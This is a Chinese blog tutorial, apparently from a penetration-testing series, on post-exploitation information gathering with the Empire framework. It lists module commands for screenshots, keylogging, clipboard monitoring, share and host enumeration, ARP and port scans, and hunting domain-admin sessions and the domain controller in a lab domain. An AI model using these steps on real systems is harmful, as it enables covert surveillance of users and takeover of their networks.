Empire信息收集

最新推荐文章于 2022-04-25 14:54:34 发布

平凡的学者

最新推荐文章于 2022-04-25 14:54:34 发布

阅读量194

点赞数

分类专栏： powershell渗透文章标签： Empire 内网渗透 powershell 渗透测试

本文链接：https://blog.csdn.net/weixin_45007073/article/details/117355523

版权

7 篇文章 0 订阅

订阅专栏

本文详细介绍了Empire工具在后渗透阶段进行信息收集的各种方法，包括屏幕截图、键盘记录、剪贴板监控、共享查找、网络扫描、DNS信息获取、域管理权限查找以及获取域控制器等。这些操作对于理解目标主机和内网结构至关重要，有助于深入渗透和控制网络。

摘要由CSDN通过智能技术生成

Empire主要用于后渗透，信息收集往往是比较重要的一个模块，可以使用search module命令搜索使用的模块，这里通过usemodule collection然后Tab键查看到整个列表
在这里插入图片描述

usemodule collection/screenshot
info
execute

在这里插入图片描述

我们到相应的路径即可查看到截图

usemodule collection/keylogger
info
execute

在这里插入图片描述
如果对方的计算机在编写文档，那么我们就能看到相应的信息，注意这里不能将主机名字重命名，因为这样会报错说没有相应的目录

在这里插入图片描述

这个模块允许用户抓取存储在目标主机Windows剪贴板上的任何内容，可以设置模块参数的抓取限制和间隔时间。

usemodule collection/clipboard_monitor
info
execute

首先我们在目标主机上随便复制粘贴一句话，我们就能在Empire端看到相应的输出内容了
在这里插入图片描述

usemodule situational_awareness/network/powerview/share_finder
execute
back

在这里插入图片描述

我们输入usemodule situational_awareness/host/winenum可以查看本机用户、域组成员、最后的密码设置时间、剪贴板内容、系统基本信息、网络适配器信息、共享信息等

usemodule situational_awareness/host/winenum
execute
info

在这里插入图片描述

usemodule situational_awareness/network/arpscan
set Range 192.168.101.0-192.168.101.254
execute

在这里插入图片描述
我们还可以对其进行端口扫描

usemodule situational_awareness/network/portscan
execute

在内网中，知道所有机器的HostName和对应的IP地址对分析内网结构至关重要

usemodule situational_awareness/network/reverse_dns
或者
usemodule situational_awareness/host/dnsserver
info
execute

在内网渗透中，要想拿到内网中某台机器的域管权限，方法一是找到域管登录的机器，然后横向渗透进去，窃取域管权限，从而拿下整个域。

usemodule situational_awareness/network/powerview/user_hunter
execute

在这里插入图片描述

usemodule situational_awareness/network/powerview/find_localadmin_access
execute

在这里插入图片描述

usemodule situational_awareness/network/powerview/get_domain_controller
execute

可以看到当前域管理器名为OWA2013.rootkit.org，我们尝试能否访问域服务器OWA2013.rootkit.org的"C$"
在这里插入图片描述

关注